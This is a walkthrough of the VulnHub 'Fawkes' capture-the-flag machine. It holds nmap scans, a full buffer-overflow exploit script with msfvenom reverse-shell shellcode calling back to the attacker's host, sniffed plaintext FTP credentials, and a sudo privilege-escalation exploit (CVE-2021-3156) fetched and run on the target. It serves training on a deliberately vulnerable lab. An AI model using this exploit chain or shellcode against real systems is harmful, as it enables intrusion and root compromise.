Fawkes - Harry Potter

Walkthrough of the Fawkes machine from the Vulnhub Harry Potter series

Fawkes - Harry Potter

Link to VulnHub

Fawkes is the 3rd VM of 3-box HarryPotter VM series in which you need to find 3 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

Port scanning

The first thing we do is try to detect the open ports on the target machine. To do this we will launch a scan with nmap against all available ports (-p-) using the fastest timing template (-T5), filtering by open ports (--open), and disabling DNS resolution (-n) and host discovery (-Pn):

nmap --open -p- -T5 -n -Pn 10.0.0.2

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 20:19 CET Nmap scan report for 10.0.0.102 Host is up (0.014s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 2222/tcp open EtherNetIP-1 9898/tcp open monkeycom Nmap done: 1 IP address (1 host up) scanned in 5.15 seconds

From this first scan we get that we have the following opened ports: 21 (FTP), 22 (SSH), 80 (HTTP), 2222 (EtherNetIP-1) and 9898 (monkeycom). Knowing this, the next thing we are going to do is try to detect which services are being exposed on those ports, and the versions of that services(-sCV):

nmap -p21,22,80,2222,9898 -sCV 10.0.0.102

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 20:23 CET Nmap scan report for 10.0.0.102 Host is up (0.0045s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.0.0.100 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 705996 Apr 12 2021 server_hogwarts 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 48df48372594c4746b2c6273bfb49fa9 (RSA) | 256 1e3418175e17958f702f80a6d5b4173e (ECDSA) |_ 256 3e795f55553b127596b43ee3837a5494 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 2222/tcp open ssh OpenSSH 8.4 (protocol 2.0) | ssh-hostkey: | 3072 c41dd5668524574a864ed9b60069788d (RSA) | 256 0b31e76726c64d12bf2a8531bf21311d (ECDSA) |_ 256 9bf4bd71fa16ded589ac698d1e93e58a (ED25519) 9898/tcp open tcpwrapped Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.58 seconds

The nmap scan reveals that unexpected services are being exposed on opened ports, getting the following relevant information:

  • 21/TCP: vsftpd 3.0.3
    • Anonymous FTP login allowed
  • 22/TCP: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  • 80/tcp: HTTP - Apache httpd 2.4.38 ((Debian))
  • 2222/tcp: SSH - OpenSSH 8.4 (protocol 2.0)
  • 9898/tcp: - tcpwrapped

From here we draw several conclusions. On the one hand we have an FTP service that allows anonymous login, so we could connect and try to see if we can download any relevant files. On the other hand, we have 2 different versions of SSH, which makes me think that there may be a container with the SSH service exposed. Finally we have an unknown service on port 9898 that we will have to research.

FTP service analysis (21/TCP)

Thanks to the nmap scan we already know that we can connect via FTP with the user "anonymous", so we use the ftp command to connect leaving the password empty:

ftp 10.0.0.102

Result:

Connected to 10.0.0.102. 220 (vsFTPd 3.0.3) Name (10.0.0.102:parrot): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>

Once we are inside, we list the contents with the ls command, which reveals that there is only one file called server_hogwarts. Since we are interested in being able to analyze it locally, we use the get server_hogwarts command to download it. Now that we have it in the local computer, we try to see what that file is using the file command:

file server_hogwarts

Result:

server_hogwarts: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=1d09ce1a9929b282f26770218b8d247716869bd0, for GNU/Linux 3.2.0, not stripped

The result indicates that it is a 32-bit executable. The next thing we can do is to run the binary and see what happens. To do this we give it execution permissions and run it:

chmod +x server_hogwarts ./server_hogwarts

At first we see that nothing happens, but the name indicates that the executable is a server, so we are going to see if we have any port used by the executable. To do this we use netstat:

sudo netstat -tulpn | grep LISTEN

Result:

tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 790/postgres tcp 0 0 0.0.0.0:9898 0.0.0.0:* LISTEN 1990/./server_hogwa tcp6 0 0 ::1:5432 :::* LISTEN 790/postgres

And as we expected it is listening on port 9898. In order to try to see what the server is doing we are going to connect using netcat:

nc localhost 9898

Result:

Welcome to Hogwart's magic portal Tell your spell and ELDER WAND will perform the magic Here is list of some common spells: 1. Wingardium Leviosa 2. Lumos 3. Expelliarmus 4. Alohomora 5. Avada Kedavra Enter your spell:

There we have what the server is exposing. It lists a series of spells that we can use and, in case of introducing one of the existing ones, it shows us a small text related to the spell. The first thing that catches my attention is that the port on which the server listens, 9898, is also exposed on the victim machine, so we can try to connect in the same way and check what the result is:

nc 10.0.0.102 9898

And as we can see, the result is the same. That is the unknown service that we had exposed on that port.

The next thing we can try, since the script asks us to enter a text string, is to see if the script is vulnerable to buffer overflow. To do this, when the server asks us to enter the spell, we enter a very long string of letters "A" obtaining the following message in the terminal where we had the server running:

Error from clientSegmentation fault

With the confirmation that the user input is not well controlled and knowing that this same executable is being executed on the victims machine we can try to exploit the buffer overflow to execute remote commands.

Exploiting the Buffer Overflow

The first thing we have to do is to check if the executable has some kind of protection, and try to get the offset that we need to have control of the $eip register, which is the one that indicates which is the next instruction to execute. For this we are going to use GDB, which is a C debugger, with GEF, which is an extension of GDB.

To check if it has some type of protection we open the executable with GDB and we make the check with checksec:

gdb ./server_hogwarts gef➤ checksec

Result:

Canary :(value: 0x50af1100) NX :PIE :Fortify :RelRO :

In this case it indicates that there is not any type of protection that we have to take into account when exploiting the buffer overflow.

Next, to obtain this offset we have to generate a pattern by which we can then calculate the position in which the value stored in the register $eip is located. To generate this pattern we use the GEF pattern create command inside GDB:

gdb ./server_hogwarts gef➤ pattern create

As a result it gives us a very long string which we have to use as input when the executable asks us for the spell through port 9898. We copy the string, run the binary using the run command in GDB, connect to the server with nc localhost 9898 and enter the string we generated earlier. When we send the string the debugger will stop automatically when it detects an error, and we will be able to see the state of the registers of the program at that moment:

Program received signal SIGSEGV, Segmentation fault. 0x62616164 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffcafc"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $ebx : 0x62616162 ("baab"?) $ecx : 0xffffd0c0"our spell: " $edx : 0xffffcf04"our spell: " $esp : 0xffffcb70"eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]" $ebp : 0x62616163 ("caab"?) $esi : 0x80b3158"../csu/libc-start.c" $edi : 0xffffd0b8"\nEnter your spell: " $eip : 0x62616164 ("daab"?) $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ─────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffcb70+0x0000: "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]" ← $esp 0xffffcb74+0x0004: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]" 0xffffcb78+0x0008: "gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsa[...]" 0xffffcb7c+0x000c: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]" 0xffffcb80+0x0010: "iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabua[...]" 0xffffcb84+0x0014: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]" 0xffffcb88+0x0018: "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa[...]" 0xffffcb8c+0x001c: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]" ───────────────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x62616164 ───────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "server_hogwarts", stopped 0x62616164 in ?? (), reason: SIGSEGV

There we can see how the inserted string is found in all the registers and the stack. Specifically we are interested in the value we have in the register $eip, which would be "daab". In order to get the offset we execute in the debugger pattern offset $eip:

[+] Searching for '$eip' [+] Found at offset 112 (little-endian search) likely [+] Found at offset 304 (big-endian search)

As the executable is compiled for a 32-bit architecture we have to keep the value that corresponds to the little-endian, in this case the offset would be 112.

Now that we have the offset we are going to start creating a small Python script that allows us to automate the task of connecting and exploiting the buffer overflow, so we create the file exploit.py with the following code:

#!/usr/bin/env python3 import socket # Define exploit variables target_host = "localhost" target_port = 9898 offset = 112 payload_offset = b"A" * offset payload_eip = b"BBBB" paylaod_nops = b"" # Build the payload payload = payload_offset + payload_eip + paylaod_nops # Connect to server client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((target_host, target_port)) # Send payload to server client.send(payload)

If we run this script and look at the debugger, we can verify that we have written the 4 "B"s in the $eip registry as expected:

chmod +x exploit.py ./exploit.py

Result:

$eip : 0x42424242 ("BBBB"?)

To avoid problems when executing the code we want to inject, we are going to add a series of values that do not execute any instruction after the $eip. These values are added with the nop (``x90) instruction. We modify our payload_nops` variable as follows:

paylaod_nops = b"\x90" * 32

If we run the exploit again and check in GDB how the stack is being overwritten, we can see that the $esp register is pointing to the top of the stack:

$esp : 0xffffcb700x90909090 ... 0xffffcb70+0x0000: 0x90909090 ← $esp

This allows us that, if we make the $eip register point to an instruction that does a jump to the $esp, we can execute the instructions after our set of nop (x90) on the stack.

To find an instruction that does that jump to the $esp we must first know the operation code of that instruction. We use metasploit's nasm_shell.rb tool to get it:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp ESP

Result:

00000000 FFE4 jmp esp

From this we get that the operation code is FFE4. The next thing is to use the objdump command to find the memory locations of instructions with that operation code:

objdump -D server_hogwarts | grep "ff e4"

Result:

8049d55: ff e4 jmp *%esp 80b322c: 81 73 f6 ff e4 73 f6 xorl $0xf673e4ff,-0xa(%ebx) 80b3253: ff 91 73 f6 ff e4 call *-0x1b00098d(%ecx) 80b500f: ff e4 jmp *%esp 80b51ef: ff e4 jmp *%esp 80b546f: ff e4 jmp *%esp 80d0717: ff e4 jmp *%esp

As we can see, there are several instructions that could work for us. We choose one, for example the first one: 8049d55. That is the memory location to which we want our register $eip to point. It is necessary to keep in mind that as the program is in 32 bits it is necessary to transform to little endian. We modify the script so that the payload_eip has the value that we have obtained:

payload_eip = b"\x55\x9d\x04\x08" # 8049d55 = jmp *%esp

Once we have prepared the $eip, it is time to generate our shellcode. For this we are going to use msfvenom. We are going to create a reverse shell over TCP for an x86 system (-p), we indicate the IP (LHOST) and port (LPORT) on which we will be listening, we indicate that the x00 is a bad char (-b), that the payload is python (-f) and the name of the variable we want to generate (-v):

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.100 LPORT=8888 -b "\x00" -f py -v payload_shellcode

Result:

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of py file: 680 bytes payload_shellcode = b"" payload_shellcode += b"\xba\xc2\x1a\xc1\x26\xda\xd0\xd9\x74" payload_shellcode += b"\x24\xf4\x5e\x29\xc9\xb1\x12\x31\x56" payload_shellcode += b"\x12\x03\x56\x12\x83\x04\x1e\x23\xd3" payload_shellcode += b"\xb9\xc4\x54\xff\xea\xb9\xc9\x6a\x0e" payload_shellcode += b"\xb7\x0f\xda\x68\x0a\x4f\x88\x2d\x24" payload_shellcode += b"\x6f\x62\x4d\x0d\xe9\x85\x25\x84\x09" payload_shellcode += b"\x76\xd1\xf0\x0b\x76\x3b\xb9\x85\x97" payload_shellcode += b"\x8b\xdf\xc5\x06\xb8\xac\xe5\x21\xdf" payload_shellcode += b"\x1e\x69\x63\x77\xcf\x45\xf7\xef\x67" payload_shellcode += b"\xb5\xd8\x8d\x1e\x40\xc5\x03\xb2\xdb" payload_shellcode += b"\xeb\x13\x3f\x11\x6b"

After this, the only thing left to do would be to add this shellcode to the end of our payload in our script, and adjust the IP to point to the target machine. The final result would be (here we must take into account that the IP of the attacking machine is in the shellcode itself, you can not copy it and use it directly on your machines if the IPs are not the same):

#!/usr/bin/env python3 import socket # Define exploit variables target_host = "10.0.0.102" target_port = 9898 offset = 112 payload_offset = b"A" * offset payload_eip = b"\x55\x9d\x04\x08" # 8049d55 = jmp *%esp paylaod_nops = b"\x90" * 32 payload_shellcode = b"" payload_shellcode += b"\xba\xc2\x1a\xc1\x26\xda\xd0\xd9\x74" payload_shellcode += b"\x24\xf4\x5e\x29\xc9\xb1\x12\x31\x56" payload_shellcode += b"\x12\x03\x56\x12\x83\x04\x1e\x23\xd3" payload_shellcode += b"\xb9\xc4\x54\xff\xea\xb9\xc9\x6a\x0e" payload_shellcode += b"\xb7\x0f\xda\x68\x0a\x4f\x88\x2d\x24" payload_shellcode += b"\x6f\x62\x4d\x0d\xe9\x85\x25\x84\x09" payload_shellcode += b"\x76\xd1\xf0\x0b\x76\x3b\xb9\x85\x97" payload_shellcode += b"\x8b\xdf\xc5\x06\xb8\xac\xe5\x21\xdf" payload_shellcode += b"\x1e\x69\x63\x77\xcf\x45\xf7\xef\x67" payload_shellcode += b"\xb5\xd8\x8d\x1e\x40\xc5\x03\xb2\xdb" payload_shellcode += b"\xeb\x13\x3f\x11\x6b" # Build the payload payload = payload_offset + payload_eip + paylaod_nops + payload_shellcode # Connect to server client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((target_host, target_port)) # Send payload to server client.send(payload)

We start listening with netcat through the port that we have indicated when generating the payload:

nc -nlvp 8888

After receiving confirmation that we are listening on the port we run our Python exploit:

./exploit.py

Result:

connect to [10.0.0.100] from (UNKNOWN) [10.0.0.102] 40450

With this we have managed to run a reverse shell on the target machine, allowing us to execute commands remotely.

Compromising the container

As we can see, we have access to the machine as the user harry (we can check it using the whoami command). If we list the home directory of the user harry we see that there is a file .mycreds.txt. If we open it we see the following:

HarrYp0tter@Hogwarts123

As we are dealing with a container (we can find out by checking that the IP is different from that of the target machine by running ip a), we can test those credentials using SSH against the target machine to see if we have any luck. After testing them against port 22 and 2222 we did not manage to connect, so it seems that a priori they are not valid.

The next thing we can try is to try to get access as root to the current machine. The first thing we can do is to see the permissions of the current user, so we run sudo -l:

User harry may run the following commands on 2b1599256ca6: (ALL) NOPASSWD: ALL

This means that we can run any command as administrator without providing any password. We run sudo /bin/sh, whoami and check that we are already the root user of the container.

If we investigate the home of the root user /root it doesn't take long to find the first horcrux (horcrux1.txt): horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}.

In the /root folder we also find a note.txt file, which has the following content:

Hello Admin!! We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

It seems that it gives us a clue about a user who is trying to authenticate against the machine through FTP. By capturing those packets we could try to get the credentials of that user as there may be password reutilization, so let's try to see what FTP packets we get using tcpdump:

tcpdump -i eth0 port ftp or ftp-data

Result (after waiting for a while):

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 19:06:01.328036 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [S], seq 241283689, win 64240, options [mss 1460,sackOK,TS val 606777747 ecr 0,nop,wscale 7], length 0 19:06:01.328058 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [S.], seq 337887726, ack 241283690, win 65160, options [mss 1460,sackOK,TS val 3584345112 ecr 606777747,nop,wscale 7], length 0 19:06:01.328096 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [.], ack 1, win 502, options [nop,nop,TS val 606777747 ecr 3584345112], length 0 19:06:01.332233 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 1:21, ack 1, win 510, options [nop,nop,TS val 3584345116 ecr 606777747], length 20: FTP: 220 (vsFTPd 3.0.3) 19:06:01.332253 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [.], ack 21, win 502, options [nop,nop,TS val 606777751 ecr 3584345116], length 0 19:06:01.332553 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [P.], seq 1:15, ack 21, win 502, options [nop,nop,TS val 606777751 ecr 3584345116], length 14: FTP: USER neville 19:06:01.332558 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [.], ack 15, win 510, options [nop,nop,TS val 3584345116 ecr 606777751], length 0 19:06:01.332639 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 21:55, ack 15, win 510, options [nop,nop,TS val 3584345116 ecr 606777751], length 34: FTP: 331 Please specify the password. 19:06:01.332717 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [P.], seq 15:30, ack 55, win 502, options [nop,nop,TS val 606777751 ecr 3584345116], length 15: FTP: PASS bL!Bsg3k 19:06:01.375711 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [.], ack 30, win 510, options [nop,nop,TS val 3584345159 ecr 606777751], length 0 19:06:04.424045 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 55:77, ack 30, win 510, options [nop,nop,TS val 3584348208 ecr 606777751], length 22: FTP: 530 Login incorrect. 19:06:04.424166 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [P.], seq 30:36, ack 77, win 502, options [nop,nop,TS val 606780843 ecr 3584348208], length 6: FTP: QUIT 19:06:04.424174 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [.], ack 36, win 510, options [nop,nop,TS val 3584348208 ecr 606780843], length 0 19:06:04.424291 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 77:

From the result of the capture we obtain the following:

  • USER neville
  • PASS bL!Bsg3k

Compromising the target machine

If we test those credentials via SSH ssh neville@10.0.0.102 we can see that we have access to the target machine as the user neville. In this case if we check the IP of the machine with ip a we can see that it matches, so we are not dealing with a container.

If we list the contents of the home directory of user neville /home/neville we find the second horcrux (horcrux2.txt): horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxxsZSBMb25HYm9UVG9t}.

After this, it looks like we only have to compromise the user root to be able to retrieve the third horcrux and finish the CTFs series. As we do not have any permission as sudoer assigned (sudo -l asks us for a password), we are going to look if we have SUID privileges. For that we go to the root folder (cd /) and execute:

find \-perm -4000 2>/dev/null

Result:

./usr/local/bin/sudo ./usr/bin/newgrp ./usr/bin/chfn ./usr/bin/mount ./usr/bin/su ./usr/bin/passwd ./usr/bin/chsh ./usr/bin/gpasswd ./usr/bin/umount ./usr/lib/openssh/ssh-keysign ./usr/lib/dbus-1.0/dbus-daemon-launch-helper ./usr/lib/eject/dmcrypt-get-device

The first thing that catches our attention is the sudo binary located in /usr/local/bin. Let's check the version of sudo to see if it has any vulnerabilities with sudo --version:

Sudo version 1.8.27 Sudoers policy plugin version 1.8.27 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.27

If we search for "sudo 1.8.27 exploit" in Google, it doesn't take long for results to appear indicating that it is vulnerable. Among the results we find a CVE that leads to a privilege escalation, the CVE-2021-3516. Looking for the exploit in GitHub for that CVE (searching for "sudo 1.8.27 exploit github CVE-2021-3156") we find the repository worawit/CVE-2021-3156.

The first thing we do is to download the exploit_nss.py script with curl to our attacker machine:

wget https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_nss.py

We open the code editor and set the SUDO_PATH variable to point to the path where the sudo binary of the target machine is located:

SUDO_PATH = b"/usr/local/bin/sudo"

Once we have it ready, we move it to the target machine. One way to do this is to raise a server with Python (python3 -m http.server 8000), and make a request with wget from the target machine (wget http://10.0.0.100:8000/exploit_nss.py). Once we have it on the target machine we run it with Python 3:

python3 exploit_nss.py

Result:

# id uid=0(root) gid=0(root) groups=0(root),1000(neville)

Finally we have access as the root user to the target machine, so we can start looking for the third and last horcrux.

If we go to the home of the root user /root we see that there is the third horcrux (horcrux3.txt): horcrux\_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVVFRlUg==}.

With this we have the last horcrux and we finish the Harry Potter CTFs series of Vulnhub.